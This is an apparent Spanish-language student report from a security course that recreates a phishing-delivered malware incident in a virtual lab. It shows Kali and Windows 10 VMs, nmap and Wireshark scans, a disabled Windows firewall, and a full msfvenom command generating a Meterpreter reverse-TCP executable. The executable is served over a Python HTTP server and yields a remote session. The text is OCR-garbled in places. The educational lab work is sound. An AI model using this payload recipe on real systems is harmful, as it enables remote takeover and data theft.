CAPACIDADES TECNICAS, LEGALES Y DE GESTION PARA EQUIPOS BLUE
TEAM Y RED TEAM

NELSON OMAR MARTINEZ LANDINEZ

UNIVERSIDAD NACIONAL ABIERTA'Y A DISTANCIA — UNAD
ESCUELA DE CIENCIAS BASICAS, TECNOLOGIA E INGENIERIA - ECBTI
ESPECIALIZACION EN SEGURIDAD INFORMATICA
2023



CAPACIDADES TECNICAS, LEGALES Y DE GESTION PARA EQUIPOS BLUE
TEAM Y RED TEAM

NELSON OMAR MARTINEZ LANDINEZ

John Freddy Quintero Tamayo

Director de Curso

UNIVERSIDAD NACIONAL ABIERTA'Y A DISTANCIA — UNAD
ESCUELA DE CIENCIAS BASICAS, TECNOLOGIA E INGENIERIA - ECBTI
ESPECIALIZACION EN SEGURIDAD INFORMATICA
2023



RESUMEN

Con el presente informe técnico nos deja ver la metodologia utilizada, las
herramientas y los pasos que realizan los equipos Blue Team y Red Team para la
atencion ante un incidente de seguridad y los mecanismos de control implantados
para su mitigacion, como ayudan y refuerzan las medidas de seguridad de una
organizacion con infraestructura Tl, este informe se divide en varios pasos que son
desde el analisis de la situacion presentada, herramientas implementadas para el
analisis e intrusion, la vulnerabilidad explotada, el desarrollo del ataque empleado
por los ciberdelincuentes y las acciones correctivas ejecutadas para eliminar y

remediar la vulnerabilidad presentada.

También se veran las recomendaciones que los expertos consideran deben emplear
en la organizacion, asi como el resultado del analisis efectuado al incidente

presentado en HackerHouse.



GLOSARIO

Antivirus: Software para la deteccidén de codigos maliciosos en tiempo real.

Blue Team: Son un grupo de profesionales expertos en el tema de la seguridad
informatica y ciberseguridad que se encargan de analizar el comportamiento de los
sistemas de informacién de una empresa y buscar las medidas ideales para reforzar

la seguridad y asi mitigar que una vulnerabilidad pudiese ser explotada.
CIS: Center Internet Security.

Firewall: Sistema de seguridad que monitorea y controla el trafico de salida y
entrada en una red, también es utilizado en una computadora para controlar el

acceso a una computadora.

IPS: Sistema de prevencién de intrusiones.

Hipervisor: Software creado para la ejecucion de maquinas virtuales.
HackerHouse: Organizacion afectada con el ataque de ciberseguridad.

KALI Linux: Sistema operativo de Linux, que se disefié especificamente para tratar
temas relacionados con la seguridad, cuenta con una gran variedad de herramientas

para la realizacion de auditorias y técnicas de intrusion.

LEGION: Software que se encuentra dentro de las herramientas de Kali Linux para
el analisis de vulnerabilidad sobre sistemas de informacién como equipos de

computo, servidores, aplicaciones web y dispositivos de comunicacion.

Malware: (Programa maligno) Es el término que se le da a cualquier software que
sea creado con fines malintencionados, como el robo de informacion, la generacion

de indisponibilidad, fallas en los sistemas, etc.

NMAP: Herramienta software de codigo abierto que permite realizar el escaneo de

puertos sobre una red para identificar su estado.



Phishing: Técnica de ataque basado en el engafio con el objetivo de obtener datos

privados de los usuarios.

Purple Team: Es el equipo encargado que las funciones que desempefia Red Team
y Blue Team se maximicen, este equipo su objetivo es facilitar la comunicacion de

ambos equipos.

Red Team: Es un equipo de profesionales que se especializa en la detencion de
vulnerabilidades con el fin de ayudar a las organizaciones a fortalecer sus medidas

de seguridad evitando que alguna vulnerabilidad pudiese ser explotada.

Testing: El analisis de un sistema con el objetivo de identificar vulnerabilidad y

errores en un sistema o infraestructura tecnolégica.

Virtual Box: Aplicacion que permite la creacion de maquinas virtuales con

diferentes sistemas operativos.

Vulnerabilidad: una potencial debilidad presente en un sistema de informacién y
que pudiese usarse por personas con malas intenciones que pongan en riesgo la

seguridad de una empresa.

Windows Defender: Antivirus proporcionado por el mismo sistema operativo

windows 10.

WireShare: Software que permite realizar el analisis del trafico de una red en tiempo

real.
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INTRODUCCION

Es claro que el riesgo de sufrir un ataque informatico siempre estara presente,
independiente de la organizacién o medidas de seguridad implementadas siempre
existira la probabilidad, es aqui donde juega un papel muy importante la aplicacion
de estrategias por los grupos especializados en la proteccion de la informacion,

disminuyendo el riesgo de que se presente un ciberataque.

Existe un reto muy grande para las empresas y es el de encontrar el equilibrio ideal,
aplicando los controles necesarios dentro del presupuesto que pueda otorgar la
organizacion y el conocimiento que deben tener los profesionales (talento humano),
una gran forma de comprobar y tomar las decisiones adecuadas sobre las medidas
de control de una organizacion es conociendo las amenazas y vulnerabilidades a
las que se encuentran expuestos y de qué manera pudiese afectarlas, por esta
razén existen estrategias como la realizacion de escaneos de vulnerabilidades en
una infraestructura Tl para identificar el grado de riesgo que pueda tener una
organizacion y tomar las acciones correspondientes para su remediacion y asi

fortalecer la seguridad.

Hoy en dia las organizaciones requieren conocer el estado de su seguridad y
conocer como defenderse ante un ataque informatico, es aqui en el presente
informe donde podremos evidenciar las estrategias y medidas aplicadas por los

grupos Red Team y Blue Team para subsanarlas.
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1. OBJETIVOS

1.1. OBJETIVO GENERAL

Formular estrategias de contencion mediante el analisis de riesgos y

vulnerabilidades en una infraestructura TI.

1.2. OBJETIVOS ESPECIFICOS

e Describir las herramientas utilizadas para el analisis de vulnerabilidades que
permitieron a los equipos Blue Team y Red Team dar respuestas al incidente

de ciberseguridad.

e Analizar la situacion ocurrida en la organizacion HackerHouse que permitio

identificar las fallas que provocaron el incidente de ciberseguridad.

e Demostrar la vulnerabilidad explotada en el sistema operativo Windows 10
donde permita visualizar la técnica de intrusion utilizada por el equipo Red

Team.

e Demostrar las actividades ejecutadas por el equipo Blue Team para dar
soluciona al fallo presentado, evitando que el incidente de HackerHouse

sobre el equipo Windows no se vuelva a presentar.

¢ Proponer las medidas de seguridad que garanticen la mejora de las medidas

de seguridad que tiene la organizacion HakerHoouse.

11



2. SITUACION PROBLEMA

Con el presente informe ponemos en contexto la situacion presentada en la
organizacion y el analisis realizado para comprender el incidente presentado que
permitid definir las actividades a realizar para detectar y mitigar vulnerabilidad

explotada.

2.1. Escenario de estudio

La organizacion HackerHouse encontré que uno de sus equipos de computo que
contenia un Windows 10 X64 fue vulnerado de algun modo. El administrador de
dicho equipo se percatdé que habia creado un archivo con extension .txt ubicado en
el escritorio y el cual contenia los campos:
Nombre_estudiante_codigo_fecha_actividad, este archivo en menciéon ya no se

encontraba en la ubicacién descrita anteriormente.

El administrador de la computadora afectada menciona un dato bastante valioso
para el equipo Red Team de HackerHouse y es que mediante un WhatsApp web un
companero de trabajo le envié un archivo con el nombre PoCseminario.exe el cual

procedi6é a descargar y a ejecutar en la computadora afectada.

El administrador de la computadora afectada menciona las siguientes

caracteristicas de la computadora en general:

o Teniaun S.O Windows 10 a 64 bits.

o Los sistemas de seguridad tanto del S.O como externos se
encontraban desactivados totalmente (Firewall, Windows Defender,
Antivirus entre otros).

o Contaba con un archivo de texto ubicado en el escritorio.

o Recuerda haber ejecutado un archivo .exe con el nombre
PoC_10986089009.

12



2.2. Descripcion de las herramientas implementadas

Para analizar la situacion presentada en HacKerhouse el equipo ReadTeam
implemento un escenario controlado y seguro con la instalacién de dos maquinas
virtuales en el hipervisor Virtual Box, una de las maquinas es un equipo Windows
con las mismas caracteristicas del equipo Windows Afectado y la otra maquina con
sistema operativo Kali Linux con el objetivo de realizar el testeo de seguridad
simulando las acciones ejecutadas por el ciberdelincuente para que el equipo

ReadTeam realice su investigacion.

llustracion 1 Virtual Box.

¥ Oracle VM VirtualBox Administrador
Archivo  Méguna  Ayuda

. o T 1

() Herramientas e W —<> S
Mueva Afadr  Configuraddn  Desca Iriciar
-

=B ali-linux-2023.1-virtualbox-amdé4 - = General

) Apagada T Kl - 2023, 1-vitusbox-amd64

Sistema operativo: Debian (64-bit)

] 'WINDOWS 10 S Sistema

@ Aozgads Memoria base: W88
Procesadores: 2
Grden de aranque:  Disco duro, Optica
Acgleraciin;: Paginacdn anidads, PAENY, Parsvirtuskzacidn KVM
=) Pantalla
Mamoria de video 12818
Controlador grafico: VMSVGA
de escritono remoto:  Inhabitado

Grabaoén: Inhabiitado
E] mimacenamient:
Controlador: IDE
Dispositivo IDE secundario 0:  [Unidad dptica) Vada
Controlador: SATA
Puerto SATA 0: kal-dru-2023, 1-virtualbox-amd64. vl (Normal, 80,09 GB)
(n Audio
Controlador de anfitridn:  Windows DirectSound
Controlador: 1CH ACS7
@ Red
Adaptadar 1: Intel PRO/1000 MT Desktop (Adaptador puente, sRealtek PCle GbE Family Controliers)
L7 use
Controlador USB: ot
Fitros de vos: 0 (0 activo)

Fuente: Autor.

2.2.1. Caracteristicas Maquina No 1:
La maquina 1 correspondiente al atacante el cual contiene las siguientes

caracteristicas:

- Sistema Operativo: Debian (64Bits)
- Memoria RAM: 2048 MB

- CPU: 2

- Tamafo de Disco: 50 GB

- Direccionamiento IP: 192.168.0.26
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llustracion 2 Caracteristicas Maquina Virtual Kali Linux.

AL
T Y )
-
Mueva Afadir Configuracidn Descartar  Iniciar
E General
Mombre: kaliinux-2023. 1-virtualbox-amda4
Sistena operativo:  Debian (64-hit)
Sistema
Memoria base: 2048 MB
Procesadores: 2 .
Orden de arranque:  Disco duro, Optica
Aceleradan: Paginacion anidada, PAEMX, Paravirtualizacion KVM
|§] Pantalla
Memoria de video: 128 MB
Controladar grafico: VMSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacion: Inhabilitado
2] Almacenamiento
Controladar: IDE
Dispositivo IDE secundario 0 [Unidad dptica] Vacdio
Controladaor: SATA
Puerto SATA 0: kaliHinux-2023, 1-virtualbox-amda4. vdi (Mormal, 80,09 GB)

Fuente: Autor.

2.2.2. Caracteristicas Maquina No 2:

La maquina 2 corresponde al equipo que sera atacado, esta maquina se configura

con las siguientes caracteristicas:

- Sistema Operativo: Windows 10 (64Bits)
- Memoria RAM: 2048 MB

- CPU: 2

- Tamafo de Disco: 50 GB

- Direccionamiento IP: 192.168.0.31
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llustracion 3 Caracteristicas Mdquina Virtual Windows 10

My
Ety
-
Mueva Afadir Configuraddn Cescartar  Iniciar
@ General
Mombre: WIMDOWS 10
Sistema operativo:  Windows 10 (64-bit)
Sistema
Memoria base: 2048 ME
Orden de arrangue; Disquete, Optica, Disco duro
Aceleracion: Paginacion anidada, Paravirtualizacion Hyper-V
M| pantalla
Memoria de video: 128 MB
Controlador grafico: VBOXSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabadidn: Inhabilitado
Almacenamiento
Controlador: SATA
Puerto SATA 0: WINDOWS 10_.vdi (Mormal, 50,00 GE)
Puerto SATA 1: [Unidad dptica] Windows.iso (4,32 GE)

Fuente: Autor

Es importante que mientras se desarroll6 el proceso de investigacion el equipo
Windows afectado se mantuvo aislado y fuera de la red de la organizacion, de igual
forma se realizdé un escaneo de los demas dispositivos de la red analizando sus
transito, comportamiento y analisis interno donde no se identificé algun malware

instalado en las demas maquinas.

Luego del analisis y determinar posibles fallas se procede a analizar la maquina
Windows afectada en una red aislada, previniendo un ataque lateral y que pudiese

afectar cualquier otra maquina.
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3. HERRAMIENTAS IMPLEMENTADAS PARA EL ANALISIS DE LAS
VULNERABILIDADES

Con la maquina Kali Linux se utilizaron otras herramientas para llevar a cabo el
analisis y la intrusion, se utilizé el Framework Metasploit que permitié a el equipo

Red Team identificar el método de intrusion y la explotacion de la vulnerabilidad.

Se aplicaron otras técnicas para lograr el traspaso del malware se tienen serias
evidencias que la intrusion es lograda por el engafio de un usuario aplicando

técnicas como Phishing.

A continuacion, se relacionan las herramientas utilizadas para el analisis e intrusion

del malware.
3.1. Metasploit

Es un Framework en la que podemos encontrar una serie de médulos, estos son los

tipos de mddulos que existen hoy en dia.

llustracion 4 Metasploit.

Fuente:
https://www.google.com/url?sa=i&url=https%3A%2F %2Fwww.kali.org%2Ftools%2F metasploit-
framework%2F &psig=AOvVaw1 5tZ903Yk8sTI9PSd4 1 F&ust=1693968280991000&source=imag
es&cd=vfe&opi=89978449&ved=0CBAQjhxgFwoTCIiArN-5koEDFQAAAAAJAAAAABAD
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- Auxiliary: Utiliza herramientas para la recoleccion de informacién realizando
el escaneo de vulnerabilidades sobre el sistema.

- Payloads: codigos para realizacion acciones maliciosas, por ejemplo, para el
escenario propuesta se utiliza esta herramienta para el robo de informacion.

- Exploits: Se tienen programas de explotacion para cualquier tipo de sistema
operativo.

- Post: Fase que ocurre después que se logra la infiltracion, podra moverse de
manera lateral.

- Encoder: Utilizados para ofuscar y modificar el cédigo del malware con el

objetivo de que no sea detectado.?!
3.2. Msfvenom

Es un software que hace parte de Metasploit la cual fue utilizada para el desarrollo

de la actividad msfvenom que resulta ser la integracion de msfplayload y msfencode.

Msfvenom es un generador de carga util independiente, Es una combinacion de
msfpayload y msfencode. Se usa de manera agil que hace uso de una sola

instancia.

Podemos decir que es una linea con comandos que permite la generacion de cargas
utiles para multiples plataformas como Cisco, Mac OS, Solaris, Android, Windows y

muchos mas sistemas operativos.

Existen tres maneras en la que se pueden hacer de una carga util msf, el primero
es a través de un Shell de enlace, que realiza la carga util para abrir un nuevo

servicio en el sistema objetivo y el atacante se conecta a el para lograr la sesién.

Otra manera es la carga util Inversa, en esta el atacante configura al oyente del
equipo, el sistema objetivo se comporta como un cliente y se conecta al oyente y el

atacante recibe el Shell.

! https://keepcoding.io/blog/que-es-metasploit-
ciberseguridad/#:~:text=Los%20m%C3%B3dulos%20de%20herramientas%20de,especializados%20como0%20
Nessus%200%20Nmap.
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Y por ultimo tenemos el ataque a través del HTTPS.?

3.3. Phyton -m http server 80

Este es el método utilizado para crear un HTTP con phyton asi de esta manera
poder compartir la informacion con la victima, que en este caso seria la maquina
Windows 10.

De esta manera convertiremos la maquina del atacante en un servidor web, en el
que el usuario podra ingresar a la maquina del atacante para que realice la descarga

del malware.

2 Cleary, L. (2022, 12 de diciembre). What is msfvenom? - Metasploit Essential Training Video Tutorial |
LinkedIn Learning, formerly Lynda.com. LinkedIn. https://www.linkedin.com/learning/metasploit-essential-

training/what-is-
msfvenom#:~:text=Msfvenom%20is%20a%20standalone%20payload,,%20Windows,%20Unix,%20Node.
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4. ANALISIS DE CASO E IDENTIFICAR FALLOS DE SEGURIDAD

A continuacién, se resalta en color amarillo los datos que fueron considerados

claves para identificar el fallo de seguridad especifico.

41. Dato 1:

llustracion 5 Datos claves anexo 4 escenario 3.
La organizacién HackerHouse encontré que uno de sus equipos de
computo que contenia un Windows 10 X64 fue vulnerado de algun
modo. El administrador de dicho equipo se percaté que habia creado
un archivo con extension .txt ubicado en el escritorio y el cual
contenia los campos: Nombre_estudiante_codigo_fecha_actividad,
este archivo en mencion ya no se encontraba en la ubicacién descrita
anteriormente.

Fuente: Anexo 4 escenario 3 Actividad fase 3 Seminario Red Team Blue Team.

Con la descripcion del escenario se menciona que la maquina que sufrié el ataque
es en un sistema operativo Windows 10 lo cual nos ayuda a replicar el escenario de
la victima, adicional se menciona que la manera en que se ocultdé el malware fue a
través de una extension TXT para engafar al usuario y lograr materializar el

incidente.

4.2. Dato 2:

llustracion 6 Datos claves anexo 4 escenario 3.

El administrador de la computadora afectada menciona un dato
bastante valioso para el equipo Red Team de HackerHouse y es que
mediante un whatsapp web un compafiero de trabajo le envié un
archivo con el nombre PoCseminario.exe el cual procedié a descargar
y a ejecutar en la computadora afectada.

Fuente: Anexo 4 escenario 3 Actividad fase 3 Seminario Red Team Blue Team.

Este dato es importante ya que de esta manera conocemos el medio por el cual se

realizo el ataque, la informacion que le fue suministrada a la victima.

Esto también ayuda al equipo en su investigacion analizando los canales utilizados

para lograr la intrusion, siendo miembro del equipo revisaria el historial de
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navegacion, descargas realizadas por el usuario, el registro de eventos donde me

permitiese revisar los programas que se hallan ejecutado por el sistema.

4.3. Dato 3:

llustracion 7 Datos claves anexo 4 escenario 3.
El administrador de la computadora afectada menciona las siguientes
caracteristicas de la computadora en general:

e Tenia un S.O0 Windows 10 a 64 bits

e Los sistemas de seguridad tanto del S.O como externos se
encontraban desactivados totalmente (Firewall, Windows
Defender, Antivirus entre otros)
Contaba con un archivo de texto ubicado en el escritorio
Recuerda haber ejecutado un archivo .exe con el nombre
PoC_cedulaestudiante

Fuente: Anexo 4 escenario 3 Actividad fase 3 Seminario Red Team Blue Team.

Otro dato bastante importante es conocer las condiciones de la maquina afectada,
también se da una informacién que nos da a entender porque se logra la intrusién y
es que los mecanismos de defensa antimalware se encontraban desactivados

(Firewall, Windows Defender y Antivirus).

También nos indica que el malware se encontraba oculto en un archivo TXT y

adicional que el usuario lo ejecuto.

4.4. Dato 4:

llustracion 8 Datos claves anexo 4 escenario 3.

Con la informacién obtenida el equipo Red Team proceden a analizar
el escenario el cual debe ser recreado por los estudiantes de
seminario para documentar qué fue lo que pasdé en la computadora
afectada y como lograron eliminar el archivo de texto que se
encontraba en el escritorio. Uno de los expertos en ciberseguridad de
HackerHouse menciona que podria tratarse de un Payload el cual se
creé con MSFVNOM vy se ejecuté con METASPLOIT. El experto
menciona el posible paso a paso para crear un PAYLOAD con
extensién .exe para ser ejecutado por la victima, y posterior a ello
como abrir una sesién por medio de METASPLOIT para controlar de
manera remota la computadora afectada.

Fuente: Anexo 4 escenario 3 Actividad fase 3 Seminario Red Team Blue Team.
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Con esta informacion podemos conocer la técnica utilizada por el atacante, se
informa que pudo ser realizado por un Payload, que nos da a entender que

posiblemente a través de cddigos hacia el sistema operativo logrando la intrusion.

El uso del comando MSFVENOM confirma que fue la manera como se ejecuto la
herramienta de Metasploit, y para lograr llevar a cabo el laboratorio se describe el
paso a paso de como fue efectuado el ataque, de esta manera sabemos que
herramientas debemos utilizar y desde que sistema operativo el atacante pude

efectuar el ataque.

21



5. EXPLOTACION DE LA VULNERABILIDAD

5.1. Herramientas y puerto utilizado.

Para el analisis de la maquina Windows como primera instancia el escenario
propuesto deja varias pistas las cuales permitio al equipo Red Team evidenciar fallas

en el sistema.

Dentro de los problemas informados se menciona que los sistemas de control
antimalware estuvieron deshabilitado, fallo grave en cualquier sistema operativo,
adicional normalmente las maquinas Windows los puertos de salida por el 443 y 80

se encuentran permitidos.

Aun ya con la recoleccion de datos importantes para la actividad se decide realizar
un analisis a la maquina Windows con la herramienta NMAP y LEGION las cuales

se encuentran disponibles en el sistema KALI Linux.

Con ambas herramientas pudimos evidenciar algunos datos importantes de la

maquina como los puertos que se encuentran habilitados.

22



N =il

File Help

Scan  Brute

Hosts  Services Tools

0s Host
?  192.168.20.31 (unknown)

1921682031 @

Processes  Log

Progress =«
PERRRRRRRNRRRRND

(ST

0.00s
mmnnmnn - 0,00s
nmmnnmnn - 0,00s

UL 1291.22s

B eEkorl

o

File Actions Edit View Help

Nmap
Host is
Not sho
PORT
open
open
open
p open

netbios-ssn
mic oft-ds
wsdapi

Nmap done:

1 IP address (1 host up) scanned in

llustracion 9 Andlisis puertos con Legion.

LEGION 0.3.9-1665098899 - untitled - Jusr/shareflegion/

Services  Scripts  Information

Port
135
139
445

Protocol
tep open
tcp open
tcp open

open

Est. Remaining
0.00s

0.00s
0.00s

Unknown

State

CVEs Notes

Name
msrpc
netbios-ssn
microsoft-ds

http

Tool
screenshot (5357/tcp)

hydra (22ftcp)
hydra (22ftcp)

nmap (stage 5)

Fuente: Autor

llustracion 10 Andlisis de puertos con nmap.

kali@nelson: ~

seconds

Fuente: Autor.
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Version
Microsoft Windows RPC

Microsoft Windows netbios-ssn

Microsoft HTTPAPI httpd 2.0 (SSDPY/...

Host Status
192.168.20.31 Finished
127.0.01 Finished
192.168.20.31 Finished

192.168.20.31 Running
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También a través de la herramienta nmap pudimos analizar otros datos importantes

como el tipo de sistema operativa que se encuentra en la red.

llustracion 11 Deteccion de sistema operativo y servicios.

/home/kali

192.168.20.31
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-07 22:34 EDT
Nmap scan report for 192.168.20.31
Host is up (0.00068s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2869/tcp open icslap
5357/tcp open wsdapi
MAC Addr : 08:00 4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 10
0S CPE: cpe:/o:microsoft:windows_10
0S details: Microsoft Windows 10 1709 - 1909
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 3.23 seconds

Fuente: Autor.

Adicional utilizo la herramienta WireShark la cual permitié analizar paquetes de los
dispositivos que se encontraban en la misma red donde se pudo observar que el

puerto 80 se encontraba habilitado.

llustracion 12 Andlisis trdfico de red puerto 80 — WireShark..

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADAG o BBR@a«¢»n«>»WHEoesol

Channel 802.11 Preferences

* Destination Protocol  Length Info
1 C 54 80

Packets: 1517 - Displayed: 60 (4.0%)

Fuente: Autor.
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También se pudo observar la conexion desde la maquina Windows hacia paginas

web que utilizan el protocolo https que es el mismo 443.

Para el anexo teniendo presente que el protocolo 443 es uno de los protocolos que
por defecto tiene habilitado los equipos con sistema operativo Windows, adicional
porque el acceso a las paginas de internet en su mayoria por temas de seguridad y

que la transmisién de paquetes sea cifrada utilizan el puerto 443.

Del analisis realizado por el equipo Red Team se adjunta imagen de WireShare en
el que podemos ver la apertura del puerto 443 y la comunicacién que se realiza
entre las dos maquinas de Kali Linux con IP 192.168.20.26 (maquina atacante) y la

maquina Windows con IP 192.168.20.31 (maquina victima).

llustracion 13 Andlisis trdfico de red puerto 443 — WireShark.

2 31

2438 2395.8098734.. 192.168.,20.,31

2441 2396.8314821.. 192.168.28.31 X X

2443 2397.8481184.. 192,168.28,31 239.255.255.258

2443 2398.8494869.. 192.168.20.31 239.255.255.250 - * HTTP/1.1
55 250

£203906 192 168 20 31 BCH * HTTP/1 1

Fuente: Autor.

llustracion 14 Propiedades — WireShark.

Wireshark - Packet 2419 - eth0

[Time delta from previous displayed fra
[Time since ref i g

pu_bf:28:d4 (08: 27:bf:28:d4)

, Ack: 1, Len: @

Complete, NO_DATA (39)]
equence number)

ence number)]
number )

Fuente: Autor.

5.2. Entendimiento de ciberataque

Con la siguiente grafica se demuestra el ataque efectuado por el ciberdelincuente

hacia la maquina Windows 10 X64.
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llustracion 15 Ataque Equipo Windows 10.

Internet

Centro de
Datos

PoC_1098608209.exe

Equipo Kali Equipo
HTTP qLiux Windows

r
Ejecucion MSFVENOM Port 443 9 —
| Descarga PoC_192.163.608.909 I_‘l’__l* T
Link: Http/i192.168.20.26/PoC_1098608909.exe

@ Phishing con link de

descarga archivo.exe

Fuente: Autor.

e El atague se genera entendiendo que ya se encuentra dentro de la red de la
organizacion HackerHouse, partiendo de ello lo que el atacante inicialmente
realiza es un escaneo del tréfico de la organizacion en la que encuentra el equipo
Windows objetivo, como lo podemos evidenciar en la ilustracion 11.

e Para el analisis del trafico lo realiza con la herramienta WireShark donde puede
ver la traza de los equipos que se encuentren en la misma red y asi logra ubicar
un equipo con la IP 192.168.20.31 el cual se encuentra navegando en internet

haciendo uso de la aplicaciéon WhatsApp Web.
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e El proximo paso es introducir el codigo malicioso en la maquina Windows, para
ello desde su maquina por el puerto 80 permite que se visualice el archivo
PoC_1098608909.exe. Ahora se envia esta ruta por WhatsApp a la victima para
que ingrese al link http//192.168.20.26/Download y descargue el malware.

llustracion 16 Descarga de Malware.

[im} [ Directory listing for /Downloads/ X | =
<~ O A MNoseguro | 192.168.20.26/Downloads/ AN

Descargas

Directory listing for /Download:

PoC_1098608909.exe

* Nessus-10.5.2-ubuntul404 amdé4 deb Mas informacion
s PoC_l1098608509 exe

* putty-0.78 tar gz

* Scan Advanced Windows Server 2019 No 2_x01502. pdf

+ Scan Credentialed No 2_mt6d0e.pdf
+ Scan Credentialed RedHat.pdf

— - - - 9:37 p.m.
| O susear WL €@ B B 2T [ s
- | & | T—

Fuente: Autor.

e Luego se ejecuta desde Linux la herramienta metasploid y esperamos que desde
la maquina de la victima realice lo mismo donde se realiza la incrustacion del

payload para permitir el acceso a la informacion del equipo Windows.

llustracion 17 Lista de archivos equipo Windows.
Type Last modified Name

fil
fil

dir
fil
Fil

Fuente: Autor.
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6. DESARROLLO DEL MALWARE

A continuacién, se demuestra el paso a paso que realizo el equipo Red Team para

lograr el acceso a la maquina Windows desde una maquina Kali Linux.

6.1. Paso 1: Configuracion de maquinas.

Se realiza la configuracion en ambas maquinas dejando habilitado en la
configuracion de red como modo puente. En la siguiente imagen podemos ver que
las maquinas Kali Linux queda con el direccionamiento IP 192.168.20.26 y Windows
con el direccionamiento IP 192.168.20.31.

llustracion 18 Kali Linux / Windows 10.

o2 € o m e cecEw s 200

Fuente: Autor.

6.2. Paso 2 Firewall desactivo

Teniendo en cuenta las recomendaciones dadas en el paso dos se procede a

deshabilitar el firewall en la maquina Windows 10.
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llustracion 19 Firewall Desactivado Maquina Windows

ﬂ Firewall de Windows Defender
= « 4 i « Sistemayseguridad > Firewall de Windows Defender v | &

Ventana principl del Banel de Ayuda a proteger tu PC con Firewall de Windows Defender
control Firewall de Windows Defender ayuda a impedir que hackers ¢ software malintencicnado obtengan

. X acceso atu PC a través de Internet o una red.
Permitir una aplicacion o una

caracteristica a través de
Firewall de Windows Defender Actualizar configuracién de firewall

B ) Cambiar la configuracion de Firewall de Windows Defender no estd usando
notificaciones la configuracién recomendada para proteger
o) Activar o desactivar Firewall de ¢l equipe.
Windows Defender

G Usar la configuracién recomendada

£Cudl es la configuracién recomendada?
) Restaurar valores
predeterminados

i Conectado ()
) Configuracién avanzada l e Redes prlvadas -

Selucion de problemas de red

Redes domésticas o del trabaje en cuyos usuarios y dispositivos confie

Estado de Firewall de Windows Defender. Desactivado

Conexiones entrantes: Bloquear todas las conexiones a aplicaciones que

no estén en la lista de aplicaciones permitidas
Redes privadas activas: ¥ Red2
Estado de notificacidn: Motificarme cuando Firewall de Windows
Defender blogquee una nueva aplicacion
Consulta también

Seguridad y mantenimiento l e Invitado o redes pdblicas No conectado ()

Centro de redes y recursos
compartidos

I

_ g - 800 p. m.
e n ha B B . 29C ~ D E ) EP 29/03512523 %)

Fuente: Autor.

6.3. Paso 3: Ejecucién de comando

Através de la consola de Kali Linux ejecuto el comando msfvenom con la sentencia:

# msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64
LHOST=192.168.20.26 LPORT=443 -f exe >> /home/kali/Downloads/PoC_1098608909.exe
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llustracion 20 Comando MSFVENOM

P[]

File Actions Edit View Help

/hame/kali

/home /kali

/homa /lali

Fhome/kali

/home fkali

/home /kali

Fuente: Autor.

Generando el archivo PoC_1098608909.exe en la ruta descargas de la maquina

Kali Linux.

llustracion 21 Archivo.exe

S eomP o]

_ Downloads - Thunar

File Edit View Go Bookmarks Help
4 & « Akli Download

Computer
kali *
.BurpSuite
.cache Nessus-10.5.2- PoC_1098608909. mputty-0.78.tar.gz Scan Advanced Scan Credentialed Scan Credentialed

ubuntu1404_amd{ exe Windows Server No 2_mt6dOe.pdf RedHat.pdf

confi
contig 4.deb 2019 No

.gnupg 2_x01502.pdf
Jjava

.local

.mozilla

Fuente: Autor.

30



6.4. Paso 4: Traspaso de informacion.

Para compartir la informacién al equipo Windows, desde la maquina Kali Linux
ejecutamos el comando phyton -m http server 80 el cual nos permitira publicar el
archivo PoC_192.168.909.exe para que desde el navegador de la maquina

Windows procedamos a descargarlo.

llustracion 22 Python servert port 80.

Fuente: Autor.

Desde la maquina Windows procedemos a ingresar a la URL del atacante

192.168.20.26/downloads y descargando el archivo malicioso.

llustracion 23 Descarga de Malware.

im] D Directory listing for /[Downloads/ X | =+ - (] X
€ < (O A Noseguro | 192.188.20.26/Downloads/ A e §y D ¥x P Bz @ - L'J)
Descargas ey

. PoC_1098608909.exe

Directory listing for /Download:

Nessus-10.5.2-ubuntul404 amd64.deb Mas infermacion
PoC_1098608909 exe

putty-0.78 tar g7

Scan Advanced Windows Server 2019 No 2_x01502 pdf

Scan Credentialed No 2_mt6d0e. pdf

Scan Credentialed RedHat pdf

Fuente: Autor.
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6.5. Paso 5: Analisis de ruido

Luego se procede a ejecutar el msfconsole con el fin de estar atento al ruido que

pueda generar la maquina Windows.

llustracion 24 Ejecucion msfconsole.

S NG

= Shell No. 1
File Actions Edit View Help

xiliary - 409 post
- 11 nops

Metasploit tip: Enable verbose logging with

Metasploit Documentation: cs.metasploit.com/

:51100) a

Fuente: Autor.

Luego desde la maquina Windows ejecutamos el archivo PoC_1098608909.exe
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llustracion 25 Descargas de Windows.

Administrar

Inicio Compartir Vista Herramientas de aplicacién

v o & » Esteequipo » Descargas v O 2 Buscar en Descargas

& Nombre Fecha de medificacion Tipo Tamafio
# Acceso répido

[ Escritorio o v Hay (1)

‘ Descargas [3:] PoC_1098603903 29/08/2023 %:47 p. m. Aplicacion

Decumentos ~ Al principio de este afio (3)

[&] Imagenes o+ ﬁ! putty-64bit-0.78-installer 23 0:41 p. m. Paquete de Windo... 3.619KB
D Msica # ostinato-bin-win32-0.8 23 30p.m.  Carpeta comprimi.. 7.135KB
m Videos ostinato-bin-win32-0.8 23 310:31 p.m. Carpeta de archivos

@ OneDrive

[ Este equipo
¥ Descargas
Documentos
I Escritorio
] Imagenes
D Misica
_J Objetos 3D
I8 Videos
‘i Disco local (C)

8 Unidad de CD (C
L4

4 elementos 1 elemento seleccionado 7,00 KB

I8 O Buscar -m B Q@ nmE e Swc ~GEDN® 956 p. m. B

29/08/2023

Fuente: Autor.

Luego de la ejecucién del archivo LoC_1098608909.exe desde la maquina Windows
podemos analizar el equipo desde la maquina Linux, donde se logra ingresar a la
informacion de la maquina victima, podemos conocer la informacién de la maquina
Windows con el comando sysinfo o listar los archivos de descargas desde la

consola de Kali y podemos ver los archivos que se encuentran dentro de esta
carpeta.
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llustracion 26 Informacion del sistema Windows desde Kali Linux.

PO

- Shell Ne. 1
File Actions Edit View Help

On Users :

t modified

9

Fuente: Autor.

Para la prueba creamos el archivo TXT de nombre Documento_Prueba_Fase3 en

el equipo Windows con el fin que desde la maquina Kali Linux verla y ejecutar alguna
accion.

llustracion 27 Archivo TXT.

{ | || = | Descargas

- O >
